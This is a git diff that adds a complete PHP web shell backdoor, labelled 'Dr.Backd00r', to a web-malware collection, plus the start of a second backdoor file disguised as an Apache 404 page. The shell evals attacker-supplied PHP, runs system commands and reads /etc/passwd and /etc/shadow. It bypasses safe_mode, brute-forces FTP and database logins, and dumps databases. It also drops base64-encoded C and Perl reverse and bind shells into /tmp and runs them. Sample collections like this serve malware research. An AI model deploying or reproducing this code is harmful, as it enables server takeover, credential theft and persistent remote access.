showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); + showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); + showSecParam('OS version', @file_get_contents('/proc/version')); + showSecParam('Distr name', @file_get_contents('/etc/issue.net')); + if(!$GLOBALS['safe_mode']) { + echo ' +'; + $temp=array(); + foreach ($userful as $item) + if(which($item)){$temp[]=$item;} + showSecParam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(which($item)){$temp[]=$item;} + showSecParam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(which($item)){$temp[]=$item;} + showSecParam('Downloaders', implode(', ',$temp)); + echo ' +'; + showSecParam('Hosts', @file_get_contents('/etc/hosts')); + showSecParam('HDD space', ex('df -h')); + showSecParam('Mount options', @file_get_contents('/etc/fstab')); + } + } else { + showSecParam('OS Version',ex('ver')); + showSecParam('Account Settings',ex('net accounts')); + showSecParam('User Accounts',ex('net user')); + } + echo '
        '; + printFooter(); +} + +function actionPhp() { + if( isset($_POST['ajax']) ) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; + ob_start(); + eval($_POST['p1']); + $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + printHeader(); + if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) { + echo '

        PHP info

        '; + ob_start(); + phpinfo(); + $tmp = ob_get_clean(); + $tmp = preg_replace('!body {.*}!msiU','',$tmp); + $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp); + $tmp = preg_replace('!h1!msiU','h2',$tmp); + $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); + $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp); + echo $tmp; + echo '
        +'; + } + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; + echo '

        Execution PHP-code

        '; + echo ' send using AJAX
        '; 
        +    if(!empty($_POST['p1'])) { 
        +        ob_start(); 
        +        eval($_POST['p1']); 
        +        echo htmlspecialchars(ob_get_clean()); 
        +    } 
        +    echo '
        '; + printFooter(); +} + +function actionFilesMan() { + printHeader(); + echo '

        File manager

        '; + if(isset($_POST['p1'])) { + switch($_POST['p1']) { + case 'uploadFile': + if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) + echo "Can't upload file!"; + break; + break; + case 'mkdir': + if(!@mkdir($_POST['p2'])) + echo "Can't create new dir"; + break; + case 'delete': + function deleteDir($path) { + $path = (substr($path,-1)=='/') ? $path:$path.'/'; + $dh = opendir($path); + while ( ($item = readdir($dh) ) !== false) { + $item = $path.$item; + if ( (basename($item) == "..") || (basename($item) == ".") ) + continue; + $type = filetype($item); + if ($type == "dir") + deleteDir($item); + else + @unlink($item); + } + closedir($dh); + rmdir($path); + } + if(is_array(@$_POST['f'])) + foreach($_POST['f'] as $f) { + $f = urldecode($f); + if(is_dir($f)) + deleteDir($f); + else + @unlink($f); + } + break; + case 'paste': + if($_SESSION['act'] == 'copy') { + function copy_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = opendir($c.$s); + while (($f = readdir($h)) !== false) + if (($f != ".") and ($f != "..")) { + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } + } elseif(is_file($c.$s)) { + @copy($c.$s, $d.$s); + } + } + foreach($_SESSION['f'] as $f) + copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']); + } elseif($_SESSION['act'] == 'move') { + function move_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = opendir($c.$s); + while (($f = readdir($h)) !== false) + if (($f != ".") and ($f != "..")) { + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } + } elseif(is_file($c.$s)) { + @copy($c.$s, $d.$s); + } + } + foreach($_SESSION['f'] as $f) + @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f); + } + unset($_SESSION['f']); + break; + default: + if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) { + $_SESSION['act'] = @$_POST['p1']; + $_SESSION['f'] = @$_POST['f']; + foreach($_SESSION['f'] as $k => $f) + $_SESSION['f'][$k] = urldecode($f); + $_SESSION['cwd'] = @$_POST['c']; + } + break; + } + echo ''; + } + $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); + if($dirContent === false) { echo 'Can\'t open this folder!'; return; } + global $sort; + $sort = array('name', 1); + if(!empty($_POST['p1'])) { + if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) + $sort = array($match[1], (int)$match[2]); + } +?> + + + +"; + $dirs = $files = $links = array(); + $n = count($dirContent); + for($i=0;$i<$n;$i++) { + $ow = @posix_getpwuid(@fileowner($dirContent[$i])); + $gr = @posix_getgrgid(@filegroup($dirContent[$i])); + $tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])), + 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) + ); + if(@is_file($GLOBALS['cwd'].$dirContent[$i])) + $files[] = array_merge($tmp, array('type' => 'file')); + elseif(@is_link($GLOBALS['cwd'].$dirContent[$i])) + $links[] = array_merge($tmp, array('type' => 'link')); + elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != ".")) + $dirs[] = array_merge($tmp, array('type' => 'dir')); + } + $GLOBALS['sort'] = $sort; + function cmp($a, $b) { + if($GLOBALS['sort'][0] != 'size') + return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1); + else + return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); + } + usort($files, "cmp"); + usort($dirs, "cmp"); + usort($links, "cmp"); + $files = array_merge($dirs, $links, $files); + $l = 0; + foreach($files as $f) { + echo ''; + $l = $l?0:1; + } + ?> + +
        NameSizeModifyOwner/GroupPermissionsActions
        '.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');">[ '.htmlspecialchars($f['name']).' ]').''.(($f['type']=='file')?viewSize($f['size']):$f['type']).''.$f['modify'].''.$f['owner'].'/'.$f['group'].''.$f['perms'] + .'R T'.(($f['type']=='file')?' E D':'').'
        + + '> + '> +  
        + String conversions

        '; + $stringTools = array( + 'Base64 encode' => 'base64_encode', + 'Base64 decode' => 'base64_decode', + 'Url encode' => 'urlencode', + 'Url decode' => 'urldecode', + 'Full urlencode' => 'full_urlencode', + 'md5 hash' => 'md5', + 'sha1 hash' => 'sha1', + 'crypt' => 'crypt', + 'CRC32' => 'crc32', + 'ASCII to HEX' => 'ascii2hex', + 'HEX to ASCII' => 'hex2ascii', + 'HEX to DEC' => 'hexdec', + 'HEX to BIN' => 'hex2bin', + 'DEC to HEX' => 'dechex', + 'DEC to BIN' => 'decbin', + 'BIN to HEX' => 'bin2hex', + 'BIN to DEC' => 'bindec', + 'String to lower case' => 'strtolower', + 'String to upper case' => 'strtoupper', + 'Htmlspecialchars' => 'htmlspecialchars', + 'String length' => 'strlen', + ); + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; + echo "
        send using AJAX +
        "; 
        +    if(!empty($_POST['p1'])) { 
        +        if(function_exists($_POST['p1'])) 
        +        echo htmlspecialchars($_POST['p1']($_POST['p2'])); 
        +    } 
        +    echo"
        "; + ?> + +

        Search for hash:

        +
        + + + + + + + + + + + + +
        +
        + File tools

        '; + if( !file_exists(@$_POST['p1']) ) { + echo 'File not exists'; + printFooter(); + return; + } + $uid = @posix_getpwuid(@fileowner($_POST['p1'])); + $gid = @posix_getgrgid(@fileowner($_POST['p1'])); + echo 'Name: '.htmlspecialchars($_POST['p1']).' Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' Permission: '.viewPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].' +'; + echo 'Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).' + +'; + if( empty($_POST['p2']) ) + $_POST['p2'] = 'view'; + if( is_file($_POST['p1']) ) + $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); + else + $m = array('Chmod', 'Rename', 'Touch'); + foreach($m as $v) + echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; + echo ' + +'; + switch($_POST['p2']) { + case 'view': + echo '
        '; 
        +            $fp = @fopen($_POST['p1'], 'r'); 
        +            if($fp) { 
        +                while( !@feof($fp) ) 
        +                    echo htmlspecialchars(@fread($fp, 1024)); 
        +                @fclose($fp); 
        +            } 
        +            echo '
        '; + break; + case 'highlight': + if( is_readable($_POST['p1']) ) { + echo '
        '; + $code = highlight_file($_POST['p1'],true); + echo str_replace(array(''), array(''),$code).'
        '; + } + break; + case 'chmod': + if( !empty($_POST['p3']) ) { + $perms = 0; + for($i=strlen($_POST['p3'])-1;$i>=0;--$i) + $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); + if(!@chmod($_POST['p1'], $perms)) + echo 'Can\'t set permissions! +'; + else + die(''); + } + echo '
        '; + break; + case 'edit': + if( !is_writable($_POST['p1'])) { + echo 'File isn\'t writeable'; + break; + } + if( !empty($_POST['p3']) ) { + @file_put_contents($_POST['p1'],$_POST['p3']); + echo 'Saved! +'; + } + echo '
        '; + break; + case 'hexdump': + $c = @file_get_contents($_POST['p1']); + $n = 0; + $h = array('00000000 +','',''); + $len = strlen($c); + for ($i=0; $i<$len; ++$i) { + $h[1] .= sprintf('%02X',ord($c[$i])).' '; + switch ( ord($c[$i]) ) { + case 0: $h[2] .= ' '; break; + case 9: $h[2] .= ' '; break; + case 10: $h[2] .= ' '; break; + case 13: $h[2] .= ' '; break; + default: $h[2] .= $c[$i]; break; + } + $n++; + if ($n == 32) { + $n = 0; + if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).' +';} + $h[1] .= ' +'; + $h[2] .= "\n"; + } + } + echo '
        '.$h[0].'
        '.$h[1].'
        '.htmlspecialchars($h[2]).'
        '; + break; + case 'rename': + if( !empty($_POST['p3']) ) { + if(!@rename($_POST['p1'], $_POST['p3'])) + echo 'Can\'t rename! +'; + else + die(''); + } + echo '
        '; + break; + case 'touch': + if( !empty($_POST['p3']) ) { + $time = strtotime($_POST['p3']); + if($time) { + if(@touch($_POST['p1'],$time,$time)) + die(''); + else { + echo 'Fail!'; + } + } else echo 'Bad time format!'; + } + echo '
        '; + break; + case 'mkfile': + + break; + } + echo '
        '; + printFooter(); +} + +function actionSafeMode() { + $temp=''; + ob_start(); + switch($_POST['p1']) { + case 1: + $temp=@tempnam($test, 'cx'); + if(@copy("compress.zlib://".$_POST['p2'], $temp)){ + echo @file_get_contents($temp); + unlink($temp); + } else + echo 'Sorry... Can\'t open file'; + break; + case 2: + $files = glob($_POST['p2'].'*'); + if( is_array($files) ) + foreach ($files as $filename) + echo $filename."\n"; + break; + case 3: + $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH); + curl_exec($ch); + break; + case 4: + ini_restore("safe_mode"); + ini_restore("open_basedir"); + include($_POST['p2']); + break; + case 5: + for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { + $uid = @posix_getpwuid($_POST['p2']); + if ($uid) + echo join(':',$uid)."\n"; + } + break; + case 6: + if(!function_exists('imap_open'))break; + $stream = imap_open($_POST['p2'], "", ""); + if ($stream == FALSE) + break; + echo imap_body($stream, 1); + imap_close($stream); + break; + } + $temp = ob_get_clean(); + printHeader(); + echo '

        Safe mode bypass

        '; + echo 'Copy (read file)
        +Glob (list dir)
        +Curl (read file)
        +Ini_restore (read file)
        +Posix_getpwuid ("Read" /etc/passwd)
        From
        To
        + +Imap_open (read file)
        '; + if($temp) + echo '
        '.$temp.'
        '; + echo '
        '; + printFooter(); +} + +function actionConsole() { + if(isset($_POST['ajax'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; + ob_start(); + echo "document.cf.cmd.value='';\n"; + $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0")); + if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { + if(@chdir($match[1])) { + $GLOBALS['cwd'] = @getcwd(); + echo "document.mf.c.value='".$GLOBALS['cwd']."';"; + } + } + echo "document.cf.output.value+='".$temp."';"; + echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;"; + $temp = ob_get_clean(); + echo strlen($temp), "\n", $temp; + exit; + } + printHeader(); +?> + +Console

        send using AJAX +'; + echo '
        '; + printFooter(); +} + +function actionLogout() { + unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); + echo 'bye!'; +} + +function actionSelfRemove() { + printHeader(); + if($_POST['p1'] == 'yes') { + if(@unlink(SELF_PATH)) + die('Shell has been removed'); + else + echo 'unlink error!'; + } + echo '

        Suicide

        Really want to remove the shell? +Yes
        '; + printFooter(); +} + +function actionBruteforce() { + printHeader(); + if( isset($_POST['proto']) ) { + echo '

        Results

        Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).' +'; + if( $_POST['proto'] == 'ftp' ) { + function bruteForce($ip,$port,$login,$pass) { + $fp = @ftp_connect($ip, $port?$port:21); + if(!$fp) return false; + $res = @ftp_login($fp, $login, $pass); + @ftp_close($fp); + return $res; + } + } elseif( $_POST['proto'] == 'mysql' ) { + function bruteForce($ip,$port,$login,$pass) { + $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); + @mysql_close($res); + return $res; + } + } elseif( $_POST['proto'] == 'pgsql' ) { + function bruteForce($ip,$port,$login,$pass) { + $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''"; + $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass); + @pg_close($res); + return $res; + } + } + $success = 0; + $attempts = 0; + $server = explode(":", $_POST['server']); + if($_POST['type'] == 1) { + $temp = @file('/etc/passwd'); + if( is_array($temp) ) + foreach($temp as $line) { + $line = explode(":", $line); + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { + $success++; + echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).' +'; + } + if(@$_POST['reverse']) { + $tmp = ""; + for($i=strlen($line[0])-1; $i>=0; --$i) + $tmp .= $line[0][$i]; + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { + $success++; + echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp); + } + } + } + } elseif($_POST['type'] == 2) { + $temp = @file($_POST['dict']); + if( is_array($temp) ) + foreach($temp as $line) { + $line = trim($line); + ++$attempts; + if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { + $success++; + echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).' +'; + } + } + } + echo "Attempts: $attempts Success: $success
        +"; + } + echo '

        FTP bruteforce

        ' + .'' + .'' + .'' + .'' + .'' + .'' + .'
        Type
        ' + .'' + .'' + .'' + .'Server:port
        Brute type
        ' + .'' + .'' + .'
        Login
        Dictionary
        ' + .'
        '; + echo '
        +'; + printFooter(); +} + +function actionSql() { + class DbClass { + var $type; + var $link; + var $res; + function DbClass($type) { + $this->type = $type; + } + function connect($host, $user, $pass, $dbname){ + switch($this->type) { + case 'mysql': + if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; + break; + case 'pgsql': + $host = explode(':', $host); + if(!$host[1]) $host[1]=5432; + if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; + break; + } + return false; + } + function selectdb($db) { + switch($this->type) { + case 'mysql': + if (@mysql_select_db($db))return true; + break; + } + return false; + } + function query($str) { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_query($str); + break; + case 'pgsql': + return $this->res = @pg_query($this->link,$str); + break; + } + return false; + } + function fetch() { + $res = func_num_args()?func_get_arg(0):$this->res; + switch($this->type) { + case 'mysql': + return @mysql_fetch_assoc($res); + break; + case 'pgsql': + return @pg_fetch_assoc($res); + break; + } + return false; + } + function listDbs() { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_list_dbs($this->link); + break; + case 'pgsql': + return $this->res = $this->query("SELECT datname FROM pg_database"); + break; + } + return false; + } + function listTables() { + switch($this->type) { + case 'mysql': + return $this->res = $this->query('SHOW TABLES'); + break; + case 'pgsql': + return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'"); + break; + } + return false; + } + function error() { + switch($this->type) { + case 'mysql': + return @mysql_error($this->link); + break; + case 'pgsql': + return @pg_last_error($this->link); + break; + } + return false; + } + function setCharset($str) { + switch($this->type) { + case 'mysql': + if(function_exists('mysql_set_charset')) + return @mysql_set_charset($str, $this->link); + else + $this->query('SET CHARSET '.$str); + break; + case 'mysql': + return @pg_set_client_encoding($this->link, $str); + break; + } + return false; + } + function dump($table) { + switch($this->type) { + case 'mysql': + $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); + $create = mysql_fetch_array($res); + echo $create[1].";\n\n"; + $this->query('SELECT * FROM `'.$table.'`'); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".@mysql_real_escape_string($v)."'"; + $columns[] = "`".$k."`"; + } + echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + } + break; + case 'pgsql': + $this->query('SELECT * FROM '.$table); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".addslashes($v)."'"; + $columns[] = $k; + } + echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + } + break; + } + return false; + } + }; + $db = new DbClass($_POST['type']); + if(@$_POST['p2']=='download') { + ob_start("ob_gzhandler", 4096); + $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); + $db->selectdb($_POST['sql_base']); + header("Content-Disposition: attachment; filename=dump.sql"); + header("Content-Type: text/plain"); + foreach($_POST['tbl'] as $v) + $db->dump($v); + exit; + } + printHeader(); + ?> +

        Sql browser

        +
        + + + + + + + + + + + + + + '> + '> + + + + + + + +
        TypeHostLoginPasswordDatabase
        + '>'>'> + "; + if(isset($_POST['sql_host'])){ + if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + $db->listDbs(); + echo "'; + } + else echo $tmp; + }else + echo $tmp; + ?>
        + + link){ + echo " +"; + if(!empty($_POST['sql_base'])){ + $db->selectdb($_POST['sql_base']); + echo ""; + } + echo "
        Tables: + +"; + $tbls_res = $db->listTables(); + while($item = $db->fetch($tbls_res)) { + list($key, $value) = each($item); + $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); + $value = htmlspecialchars($value); + echo " ".$value." (".$n['n'].") +"; + } + echo " "; + if(@$_POST['p1'] == 'select') { + $_POST['p1'] = 'query'; + $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].''); + $num = $db->fetch(); + $num = $num['n']; + echo "".$_POST['p2']." ($num) "; + for($i=0;$i<($num/30);$i++) + if($i != (int)$_POST['p3']) + echo "",($i+1)," "; + else + echo ($i+1)," "; + if($_POST['type']=='pgsql') + $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); + else + $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; + echo " + +"; + } + if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) { + $db->query(@$_POST['p3']); + if($db->res !== false) { + $title = false; + echo ''; + $line = 1; + while($item = $db->fetch()) { + if(!$title) { + echo ''; + foreach($item as $key => $value) + echo ''; + reset($item); + $title=true; + echo ''; + $line = 2; + } + echo ''; + $line = $line==1?2:1; + foreach($item as $key => $value) { + if($value == null) + echo ''; + else + echo ''; + } + echo ''; + } + echo '
        '.$key.'
        null'.nl2br(htmlspecialchars($value)).'
        '; + } else { + echo '
        Error: '.htmlspecialchars($db->error()).'
        '; + } + } + echo " + +"; + echo "
        +
        Load file
        "; + if(@$_POST['p1'] == 'loadfile') { + $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file"); + $file = $db->fetch(); + echo '
        '.htmlspecialchars($file['file']).'
        '; + } + } + echo '
        '; + printFooter(); +} +function actionNetwork() { + printHeader(); + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9"; + $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; + $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9"; + $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; + ?> +

        Network tools

        +
        + Bind port to /bin/sh + + Port: Password: Using: +
        +
        + Back-connect to + + Server: '> Port: Using: +
        + + $out\n".ex("ps aux | grep bp")."

        "; + } + if($_POST['p1'] == 'bpp') { + cf("/tmp/bp.pl",$bind_port_p); + $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &"); + echo "
        $out\n".ex("ps aux | grep bp.pl")."
        "; + } + if($_POST['p1'] == 'bcc') { + cf("/tmp/bc.c",$back_connect_c); + $out = ex("gcc -o /tmp/bc /tmp/bc.c"); + @unlink("/tmp/bc.c"); + $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &"); + echo "
        $out\n".ex("ps aux | grep bc")."
        "; + } + if($_POST['p1'] == 'bcp') { + cf("/tmp/bc.pl",$back_connect_p); + $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &"); + echo "
        $out\n".ex("ps aux | grep bc.pl")."
        "; + } + } + echo ''; + printFooter(); +} +if( empty($_POST['a']) ) + if(isset($default_action) && function_exists('action' . $default_action)) + $_POST['a'] = $default_action; + else + $_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) + call_user_func('action' . $_POST['a']); +?> +
        Shell - *Dr.Backd00r* - SubhashDasyam.com
        + diff --git a/web-malware-collection-master/Backdoors/PHP/404.txt b/web-malware-collection-master/Backdoors/PHP/404.txt new file mode 100755 index 0000000..19bcecf --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/404.txt @@ -0,0 +1,1417 @@ + +

        Not Found

        +

        The requested URL was not found on this server.

        +
        +
        Apache Server at Port 80
        + +
        +
        + +
